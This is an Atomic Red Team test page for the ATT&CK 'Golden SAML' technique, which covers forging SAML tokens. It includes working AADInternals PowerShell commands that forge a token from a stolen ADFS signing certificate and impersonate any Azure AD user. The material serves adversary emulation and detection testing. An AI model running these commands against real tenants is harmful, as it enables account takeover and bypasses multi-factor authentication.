Skip to content
Atomic Red Team
atomics
T1606.002

T1606.002 - Forge Web Credentials: SAML token

Description from ATT&CK (opens in a new tab)

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)

An adversary may utilize Private Keys (opens in a new tab) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from Steal Application Access Token (opens in a new tab) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material (opens in a new tab), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)

Atomic Tests


Atomic Test #1 - Golden SAML

Forge a "Golden SAML" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). You will need the ADFS token signing certificate (see T1552.004 to export it). More info here : https://o365blog.com/post/adfs/ (opens in a new tab)

Supported Platforms: Azure-ad

auto_generated_guid: b16a03bc-1089-4dcc-ad98-30fe8f3a2b31

Inputs:

NameDescriptionTypeDefault Value
certificate_pathToken signing certificate path. See T1552.004 to export itpath.\ADFS_signing.pfx
immutable_idImmutableId of the targeted user. It can be obtained with AzureAD powershell module; $(Get-AzureADUser -SearchString "username").ImmutableIdstringaehgdqBTZV50DKQZmNJ8mg==
issuer_uriIssuer URI of the ADFS servicestringhttp://contoso.com/adfs/services/trust/ (opens in a new tab)

Attack Commands: Run with powershell!

Import-Module AADInternals -Force
$saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}"
$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" }
Write-Host "End of Golden SAML"

Dependencies: Run with powershell!

Description: AADInternals module must be installed.
Check Prereq Commands:
if (Get-Module AADInternals) {exit 0} else {exit 1}
Get Prereq Commands:
Install-Module -Name AADInternals -Force